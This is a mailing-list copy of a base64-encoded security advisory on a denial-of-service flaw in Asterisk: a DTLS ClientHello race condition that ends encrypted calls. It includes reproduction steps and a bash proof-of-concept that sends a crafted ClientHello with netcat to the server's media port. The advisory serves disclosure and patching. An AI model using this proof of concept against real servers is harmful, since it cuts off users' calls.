[ES2023-01] Asterisk susceptible to Denial of Service via DTLS Hello packets during call initiation
"Sandro Gauci" <[email protected]> Fri, 15 Dec 2023 13:27:06 +0100
| Newsgroups | gmane.comp.voip.security.voipsa,gmane.comp.security.oss.general,gmane.comp.security.bugtraq,gmane.comp.security.fulldisclosure |
|---|---|
| Message-ID | <[email protected]> |
IyBBc3RlcmlzayBzdXNjZXB0aWJsZSB0byBEZW5pYWwgb2YgU2VydmljZSB2aWEgRFRMUyBIZWxs byBwYWNrZXRzIGR1cmluZyBjYWxsIGluaXRpYXRpb24KCi0gRml4ZWQgdmVyc2lvbnM6IDE4LjIw LjEsIDIwLjUuMSwgMjEuMC4xLDE4LjktY2VydDYKLSBFbmFibGUgU2VjdXJpdHkgQWR2aXNvcnk6 IGh0dHBzOi8vZ2l0aHViLmNvbS9FbmFibGVTZWN1cml0eS9hZHZpc29yaWVzL3RyZWUvbWFzdGVy L0VTMjAyMy0wMS1hc3Rlcmlzay1kdGxzLWhlbGxvLXJhY2UKLSBWZW5kb3IgU2VjdXJpdHkgQWR2 aXNvcnk6IGh0dHBzOi8vZ2l0aHViLmNvbS9hc3Rlcmlzay9hc3Rlcmlzay9zZWN1cml0eS9hZHZp c29yaWVzL0dIU0EtaHhqOS14d3I4LXc4cHEKLSBPdGhlciByZWZlcmVuY2VzOiBDVkUtMjAyMy00 OTc4NgotIFRlc3RlZCB2dWxuZXJhYmxlIHZlcnNpb25zOiAyMC4xLjAKLSBUaW1lbGluZToKCS0g UmVwb3J0IGRhdGU6IDIwMjMtMDktMjcKCS0gVHJpYWdlZDogMjAyMy0wOS0yNwoJLSBGaXggcHJv dmlkZWQgZm9yIHRlc3Rpbmc6IDIwMjMtMTEtMDkKCS0gVmVuZG9yIHJlbGVhc2Ugd2l0aCBmaXg6 IDIwMjMtMTItMTQKCS0gRW5hYmxlIFNlY3VyaXR5IGFkdmlzb3J5OiAyMDIzLTEyLTE1CgojIyBU TDtEUgoKV2hlbiBoYW5kbGluZyBEVExTLVNSVFAgZm9yIG1lZGlhIHNldHVwLCBBc3RlcmlzayBp cyBzdXNjZXB0aWJsZSB0byBEZW5pYWwgb2YgU2VydmljZSBkdWUgdG8gYSByYWNlIGNvbmRpdGlv biBpbiB0aGUgaGVsbG8gaGFuZHNoYWtlIHBoYXNlIG9mIHRoZSBEVExTIHByb3RvY29sLiBUaGlz IGF0dGFjayBjYW4gYmUgZG9uZSBjb250aW51b3VzbHksIHRodXMgZGVueWluZyBuZXcgRFRMUy1T UlRQIGVuY3J5cHRlZCBjYWxscyBkdXJpbmcgdGhlIGF0dGFjay4KCiMjIERlc2NyaXB0aW9uCgpP dXIgcmVzZWFyY2ggaGFzIHNob3duIHRoYXQga2V5IGVzdGFibGlzaG1lbnQgZm9yIFNlY3VyZSBS ZWFsLXRpbWUgVHJhbnNwb3J0IFByb3RvY29sIChTUlRQKSB1c2luZyBEYXRhZ3JhbSBUcmFuc3Bv cnQgTGF5ZXIgU2VjdXJpdHkgRXh0ZW5zaW9uIChEVExTKVteMV0gaXMgc3VzY2VwdGlibGUgdG8g YSBEZW5pYWwgb2YgU2VydmljZSBhdHRhY2sgZHVlIHRvIGEgcmFjZSBjb25kaXRpb24uIElmIGFu IGF0dGFja2VyIG1hbmFnZXMgdG8gc2VuZCBhIENsaWVudEhlbGxvIERUTFMgbWVzc2FnZSB3aXRo IGFuIGludmFsaWQgQ2lwaGVyU3VpdGUgKHN1Y2ggYXMgYFRMU19OVUxMX1dJVEhfTlVMTF9OVUxM YCkgdG8gdGhlIHBvcnQgb24gdGhlIEFzdGVyaXNrIHNlcnZlciB0aGF0IGlzIGV4cGVjdGluZyBw YWNrZXRzIGZyb20gdGhlIGNhbGxlciwgYSBEVExTIGVycm9yIGlzIGdlbmVyYXRlZC4gVGhpcyBy ZXN1bHRzIGluIHRoZSBtZWRpYSBzZXNzaW9uIGJlaW5nIHRvcm4gZG93biwgd2hpY2ggaXMgZm9s bG93ZWQgYnkgdGVhcmRvd24gYXQgc2lnbmFsaW5nIChTSVApIGxldmVsIHRvby4KClRoaXMgYmVo YXZpb3Igd2FzIHRlc3RlZCBhZ2FpbnN0IEFzdGVyaXNrIHZlcnNpb24gMjAuMS4wLCB3aGljaCB3 YXMgZm91bmQgdG8gYmUgdnVsbmVyYWJsZSB0byB0aGlzIGlzc3VlLgoKVGhlIGZvbGxvd2luZyBz ZXF1ZW5jZSBkaWFncmFtIHNob3dzIHRoZSBub3JtYWwgZmxvdyAoaS5lLiBubyBhdHRhY2spIGlu dm9sdmluZyBTSVAsIFNUVU4gYW5kIERUTFMgbWVzc2FnZXMgYmV0d2VlbiBhIFVBQyAodGhlIENh bGxlcikgYW5kIGFuIEFzdGVyaXNrIHNlcnZlciBjYXBhYmxlIG9mIGhhbmRsaW5nIFdlYlJUQyBj YWxscy4KCkRpYWdyYW0gc2hvd2luZyBhIGNhbGwgc2V0dXAgYWdhaW5zdCBBc3RlcmlzayB0aGF0 IHVzZXMgU0lQLCBTVFVOIGFuZCBEVExTOiBodHRwczovL2dpdGh1Yi5jb20vRW5hYmxlU2VjdXJp dHkvYWR2aXNvcmllcy9ibG9iL21hc3Rlci9FUzIwMjMtMDEtYXN0ZXJpc2stZHRscy1oZWxsby1y YWNlL3Jlc291cmNlcy92YWxpZC5wbmcKCkluIGEgY29udHJvbGxlZCBleHBlcmltZW50LCBpdCB3 YXMgb2JzZXJ2ZWQgdGhhdCB3aGVuIHRoZSBBdHRhY2tlciBzZW50IGEgRFRMUyBDbGllbnRIZWxs byB0byBBc3RlcmlzaydzIG1lZGlhIHBvcnQgZnJvbSBhIGRpZmZlcmVudCBJUCBhbmQgcG9ydCwg QXN0ZXJpc2sgcmVzcG9uZGVkIGJ5IHNlbmRpbmcgYSBEVExTIEFsZXJ0IHRvIHRoZSBDYWxsZXIu IEFkZGl0aW9uYWxseSwgQXN0ZXJpc2sgdGVybWluYXRlZCB0aGUgU0lQIGNhbGwgYnkgc2VuZGlu ZyBhIEJZRSBtZXNzYWdlIHRvIHRoZSBDYWxsZXIuCgpEaWFncmFtIHNob3dpbmcgYSBjYWxsIHNl dHVwIGFnYWluc3QgQXN0ZXJpc2sgdGhhdCBmYWlscyBkdWUgdG8gYW4gYXR0YWNrZXIgY29udHJv bGxlZCBEVExTIENsaWVudEhlbGxvOgpodHRwczovL2dpdGh1Yi5jb20vRW5hYmxlU2VjdXJpdHkv YWR2aXNvcmllcy9ibG9iL21hc3Rlci9FUzIwMjMtMDEtYXN0ZXJpc2stZHRscy1oZWxsby1yYWNl L3Jlc291cmNlcy9kb3MucG5nCgpEdXJpbmcgYSByZWFsIGF0dGFjaywgdGhlIGF0dGFja2VyIHdv dWxkIHNwcmF5IGEgdnVsbmVyYWJsZSBBc3RlcmlzayBzZXJ2ZXIgd2l0aCBEVExTIENsaWVudEhl bGxvIG1lc3NhZ2VzLiBUaGUgYXR0YWNrZXIgd291bGQgdHlwaWNhbGx5IHRhcmdldCB0aGUgcmFu Z2Ugb2YgVURQIHBvcnRzIGFsbG9jYXRlZCBmb3IgUlRQLiBXaGVuIHRoZSBDbGllbnRIZWxsbyBt ZXNzYWdlIGZyb20gdGhlIEF0dGFja2VyIHdpbnMgdGhlIHJhY2UgYWdhaW5zdCBhbiBleHBlY3Rl ZCBDbGllbnRIZWxsbyBmcm9tIHRoZSBDYWxsZXIsIHRoZSBjYWxsIHRlcm1pbmF0ZXMsIHJlc3Vs dGluZyBpbiBEZW5pYWwgb2YgU2VydmljZS4KCiMjIEltcGFjdAoKQWJ1c2Ugb2YgdGhpcyB2dWxu ZXJhYmlsaXR5IG1heSBsZWFkIHRvIGEgbWFzc2l2ZSBEZW5pYWwgb2YgU2VydmljZSBvbiB2dWxu ZXJhYmxlIEFzdGVyaXNrIHNlcnZlcnMgZm9yIGNhbGxzIHRoYXQgcmVseSBvbiBEVExTLVNSVFAu CgojIyBIb3cgdG8gcmVwcm9kdWNlIHRoZSBpc3N1ZQoKMS4gUHJlcGFyZSBhbiBBc3RlcmlzayBz ZXJ2ZXIgd2l0aCBhbiBleHRlbnNpb24gY29uZmlndXJlZCB0byBoYW5kbGUgV2ViUlRDOyB0aGlz IG1heSBpbnZvbHZlIHRoZSBmb2xsb3dpbmcgYHBqc2lwLmNvbmZgIGFuZCBgZXh0ZW5zaW9ucy5j b25mYCBjb25maWd1cmF0aW9uIHVwZGF0ZXM6CgogICAgYHBqc2lwLmNvbmZgCiAgICBgYGBpbmkK CVt0cmFuc3BvcnQtdGxzLW5hdF0KCXR5cGUgPSB0cmFuc3BvcnQKCXByb3RvY29sID0gd3NzCgli aW5kID0gMTcyLjE3LjAuMgoKCVt3ZWJydGNfY2xpZW50XQoJdHlwZT1hb3IKCW1heF9jb250YWN0 cz01CglyZW1vdmVfZXhpc3Rpbmc9eWVzCgoJW3dlYnJ0Y19jbGllbnRdCgl0eXBlPWF1dGgKCWF1 dGhfdHlwZT11c2VycGFzcwoJdXNlcm5hbWU9MzQ1NgoJcGFzc3dvcmQ9MzQ1NgoKCVszNDU2XQoJ dHlwZT1lbmRwb2ludAoJYW9ycz13ZWJydGNfY2xpZW50CglhdXRoPXdlYnJ0Y19jbGllbnQKCWR0 bHNfYXV0b19nZW5lcmF0ZV9jZXJ0PXllcwoJd2VicnRjPXllcwoJY29udGV4dD1kZWZhdWx0Cglk aXNhbGxvdz1hbGwKCWFsbG93PW9wdXMsdWxhdwoJYGBgCgoJYGV4dGVuc2lvbnMuY29uZmAKCWBg YGluaQoJW2dsb2JhbHNdCgoJW2RlZmF1bHRdCglleHRlbiA9IF9YWFhYLDEsVmVyYm9zZSgxLCAi VXNlciAke0NBTExFUklEKG51bSl9IGRpYWxlZCAke0VYVEVOfS4iKQoJCXNhbWUgPT4gbixQbGF5 YmFjayhkZW1vLWNvbmdyYXRzKQoJCXNhbWUgPT4gbixIYW5ndXAoKQoJYGBgCjEuIFNlbmQgYW4g SU5WSVRFIG1lc3NhZ2UgdG8gdGhlIHRhcmdldCBzZXJ2ZXIgd2l0aCBXZWJSVEMgU0RQOgoKICAg IGBgYGRlZmF1bHQKCUlOVklURSBzaXA6MTAwMEAxOTIuMTY4LjEuMjAyIFNJUC8yLjAKCVZpYTog U0lQLzIuMC9XU1MgMTkyLjE2OC4xLjIwMjozNjc0MjtycG9ydD0zNjc0MjticmFuY2g9ejloRzRi Sy00Ukh0aW1PemFJa0hlVURVCglNYXgtRm9yd2FyZHM6IDcwCglGcm9tOiA8c2lwOjM0NTZAMTky LjE2OC4xLjIwMj47dGFnPWNuYnNjM25OWDJ5ZHVnbDQKCVRvOiA8c2lwOjEwMDBAMTkyLjE2OC4x LjIwMj4KCUNvbnRhY3Q6IDxzaXA6MzQ1NkAxOTIuMTY4LjEuMjAyPgoJQ2FsbC1JRDogVmFnbFR6 TlJCU3V2UFBkdwoJQ1NlcTogNSBJTlZJVEUKCUNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vc2Rw CglDb250ZW50LUxlbmd0aDogNTYzCgoJdj0wCglvPS0gMTY5NTI5NjQwMSAxNjk1Mjk2NDAxIElO IElQNCAxOTIuMTY4LjEuMjAyCglzPS0KCXQ9MCAwCgljPUlOIElQNCAxOTIuMTY4LjEuMjAyCglt PWF1ZGlvIDM2ODY2IFVEUC9UTFMvUlRQL1NBVlBGIDAgOCAxMDEKCWE9c2V0dXA6YWN0aXZlCglh PWZpbmdlcnByaW50OnNoYS0yNTYgNDk6MDU6OTg6QjI6MTU6NDM6MUM6OUM6NEY6Mjk6MDc6NjA6 Rjg6NjM6Nzc6MTY6ODA6Rjk6NDQ6QzA6OTc6OEU6RTU6NDg6RDY6NzE6QjQ6MDM6MTA6ODU6RDY6 RTMKCWE9cnRwbWFwOjAgUENNVS84MDAwLzEKCWE9cnRwbWFwOjggUENNQS84MDAwLzEKCWE9cnRw bWFwOjEwMSB0ZWxlcGhvbmUtZXZlbnQvODAwMAoJYT1pY2UtdWZyYWc6SU9aeU9TUWtWeXdldnJ5 SQoJYT1pY2UtcHdkOlVRVXRSTVpLRkVSbm1acVFkYWdnRnpKQmhjV1Z4YWJyCglhPWNhbmRpZGF0 ZTo2MjQ5NDg4MzAwIDEgdWRwIDIxMzA3MDY0MzEgMTkyLjE2OC4xLjIwMiAzNjg2NiB0eXAgaG9z dCBnZW5lcmF0aW9uIDAKCWE9ZW5kLW9mLWNhbmRpZGF0ZXMKCWE9cnRjcC1tdXgKCWE9cnRjcHJz aXplCglhPXNlbmRyZWN2CgoJYGBgCjEuIE5vdGUgQXN0ZXJpc2sncyBtZWRpYSBwb3J0IGFuZCBJ UCB2YWx1ZXMsIHdoaWNoIHdpbGwgYmUgdXNlZCBhcyB0aGUgYDxhc3Rlcmlzay1pcD5gIGFuZCBg PG1lZGlhLXBvcnQ+YCBwYXJhbWV0ZXJzIGJ5IHRoZSBBdHRhY2tlcgoxLiBXaGVuIHRoZSBjYWxs IGhhcyBiZWVuIGVzdGFibGlzaGVkLCBzZW5kIGEgU1RVTiBiaW5kaW5nIHJlcXVlc3Qgd2hpY2gg aGFzIHRoZSBhcHByb3ByaWF0ZSBVc2VybmFtZSwgTWVzc2FnZS1JbnRlZ3JpdHkgYW5kICBJY2Ut Q29udHJvbGxlZCBwcm9wZXJ0aWVzCjEuIFdoZW4gdGhlIEJpbmRpbmcgU3VjY2VzcyBSZXNwb25z ZSBtZXNzYWdlIGlzIHJlY2VpdmVkLCBzZW5kIGEgRFRMUyBDbGllbnRIZWxsbyBtZXNzYWdlIGZy b20gYSAoYXR0YWNrZXItY29udHJvbGxlZCkgaG9zdCwgd2hpY2ggaXMgZGlmZmVyZW50IGZyb20g dGhlIENhbGxlciBidXQgaGFzIG5ldHdvcmsgYWNjZXNzIHRvIHRoZSBBc3RlcmlzayBzZXJ2ZXIK CiAgICBgYGBiYXNoCglDTElFTlRfSEVMTE89IkZ2Ny9BQUFBQUFBQUFBQUFmQUVBQUhBQUFBQUFB QUFBY1A3OUFBQSIgCglDTElFTlRfSEVMTE89IiR7Q0xJRU5UX0hFTExPfUFBRzRIQ1ZhVU5WYllW bXh1cWRuMld5Q2d0VGlqaForV2hlUC8rSCIKCUNMSUVOVF9IRUxMTz0iJHtDTElFTlRfSEVMTE99 NEFBQUFDQUFBQkFBQkVBQmNBQVA4QkFBRUFBQW9BQ0FBR0FCMEFGIgoJQ0xJRU5UX0hFTExPPSIk e0NMSUVOVF9IRUxMT313QVlBQXNBQWdFQUFDTUFBQUFOQUJRQUVnUURDQVFFQVFVRENBVUYiCglD TElFTlRfSEVMTE89IiR7Q0xJRU5UX0hFTExPfUFRZ0dCZ0VDQVFBT0FBa0FCZ0FCQUFnQUJ3QT0i CgllY2hvIC1uICIke0NMSUVOVF9IRUxMT30iIHwgYmFzZTY0IC0tZGVjb2RlIHwgbmMgLXUgPGFz dGVyaXNrLWlwPiA8bWVkaWEtcG9ydD4KCWBgYAoxLiBPYnNlcnZlIHRoYXQgdGhlIENhbGxlciBy ZWNlaXZlcyBhIERUTFMgQWxlcnQgbWVzc2FnZSBhbmQgYSBTSVAgQllFIG1lc3NhZ2Ugb24gaXRz IHNpZ25hbGluZyBjaGFubmVsCgpOb3RlIHRoYXQgdGhlIGFib3ZlIHN0ZXBzIGFyZSB1c2VkIHRv IHJlbGlhYmx5IHJlcHJvZHVjZSB0aGUgdnVsbmVyYWJpbGl0eS4gSW4gdGhlIGNhc2Ugb2YgYSBy ZWFsIGF0dGFjaywgdGhlIGF0dGFja2VyIHNpbXBseSBoYXMgdG8gc3ByYXkgdGhlIEFzdGVyaXNr IHNlcnZlciB3aXRoIERUTFMgbWVzc2FnZXMuCgoKIyMgU29sdXRpb24gYW5kIHJlY29tbWVuZGF0 aW9ucwoKVG8gYWRkcmVzcyB0aGlzIHZ1bG5lcmFiaWxpdHksIHVwZ3JhZGUgQXN0ZXJpc2sgdG8g dGhlIGxhdGVzdCB2ZXJzaW9uIHdoaWNoIGluY2x1ZGVzIHRoZSBzZWN1cml0eSBmaXguIFRoZSBz b2x1dGlvbiBpbXBsZW1lbnRlZCBpcyB0byBkcm9wIGFsbCBwYWNrZXRzIGZyb20gYWRkcmVzc2Vz IHRoYXQgaGF2ZSBub3QgYmVlbiB2YWxpZGF0ZWQgYnkgYW4gSUNFIGNoZWNrLgoKIyMgQWJvdXQg RW5hYmxlIFNlY3VyaXR5CgpbRW5hYmxlIFNlY3VyaXR5XShodHRwczovL3d3dy5lbmFibGVzZWN1 cml0eS5jb20pIGRldmVsb3BzIG9mZmVuc2l2ZSBzZWN1cml0eSB0b29scyBhbmQgcHJvdmlkZXMg cXVhbGl0eSBwZW5ldHJhdGlvbiB0ZXN0aW5nIHRvIGhlbHAgcHJvdGVjdCB5b3VyIHJlYWwtdGlt ZSBjb21tdW5pY2F0aW9ucyBzeXN0ZW1zIGFnYWluc3QgYXR0YWNrLgoKIyMgRGlzY2xhaW1lcgoK VGhlIGluZm9ybWF0aW9uIGluIHRoZSBhZHZpc29yeSBpcyBiZWxpZXZlZCB0byBiZSBhY2N1cmF0 ZSBhdCB0aGUgdGltZSBvZiBwdWJsaXNoaW5nIGJhc2VkIG9uIGN1cnJlbnRseSBhdmFpbGFibGUg aW5mb3JtYXRpb24uIFVzZSBvZiB0aGUgaW5mb3JtYXRpb24gY29uc3RpdHV0ZXMgYWNjZXB0YW5j ZSBmb3IgdXNlIGluIGFuIEFTIElTIGNvbmRpdGlvbi4gVGhlcmUgYXJlIG5vIHdhcnJhbnRpZXMg d2l0aCByZWdhcmQgdG8gdGhpcyBpbmZvcm1hdGlvbi4gTmVpdGhlciB0aGUgYXV0aG9yIG5vciB0 aGUgcHVibGlzaGVyIGFjY2VwdHMgYW55IGxpYWJpbGl0eSBmb3IgYW55IGRpcmVjdCwgaW5kaXJl Y3QsIG9yIGNvbnNlcXVlbnRpYWwgbG9zcyBvciBkYW1hZ2UgYXJpc2luZyBmcm9tIHVzZSBvZiwg b3IgcmVsaWFuY2Ugb24sIHRoaXMgaW5mb3JtYXRpb24uCgojIyBEaXNjbG9zdXJlIHBvbGljeQoK VGhpcyByZXBvcnQgaXMgc3ViamVjdCB0byBFbmFibGUgU2VjdXJpdHkncyB2dWxuZXJhYmlsaXR5 IGRpc2Nsb3N1cmUgcG9saWN5IHdoaWNoIGNhbiBiZSBmb3VuZCBhdCA8aHR0cHM6Ly9naXRodWIu Y29tL0VuYWJsZVNlY3VyaXR5L1Z1bG5lcmFiaWxpdHktRGlzY2xvc3VyZS1Qb2xpY3k+LgoKW14x XTogRGF0YWdyYW0gVHJhbnNwb3J0IExheWVyIFNlY3VyaXR5IChEVExTKSBFeHRlbnNpb24gdG8g RXN0YWJsaXNoIEtleXMgZm9yIHRoZSBTZWN1cmUgUmVhbC10aW1lIFRyYW5zcG9ydCBQcm90b2Nv bCAoU1JUUCkgaHR0cHM6Ly9kYXRhdHJhY2tlci5pZXRmLm9yZy9kb2MvaHRtbC9yZmM1NzY0CgoK LS0KIAogICAgU2FuZHJvIEdhdWNpLCBDRU8gYXQgRW5hYmxlIFNlY3VyaXR5IEdtYkgKCiAgICBS ZWdpc3RlciBvZiBDb21wYW5pZXM6ICAgICAgIEFHIENoYXJsb3R0ZW5idXJnIEhSQiAxNzMwMTYg QgogICAgQ29tcGFueSBIUTogICAgICAgICAgICAgICAgICAgICAgIE5ldWJ1cmdlciBTdHJhw59l IDEwMSBiLCA5NDAzNiBQYXNzYXUsIEdlcm1hbnkKICAgIFJUQ1NlYyBOZXdzbGV0dGVyOiAgICAg ICAgICAgICAgIGh0dHBzOi8vd3d3LnJ0Y3NlYy5jb20vc3Vic2NyaWJlCiAgICBPdXIgYmxvZzog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGh0dHBzOi8vd3d3LnJ0Y3NlYy5jb20KICAg IE90aGVyIHBvaW50cyBvZiBjb250YWN0OiAgICAgICBodHRwczovL3d3dy5lbmFibGVzZWN1cml0 eS5jb20vY29udGFjdC8KCl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fClZvaXBzZWMgbWFpbGluZyBsaXN0ClZvaXBzZWNAdm9pcHNhLm9yZwpodHRwOi8vdm9p cHNhLm9yZy9tYWlsbWFuL2xpc3RpbmZvL3ZvaXBzZWNfdm9pcHNhLm9yZwo=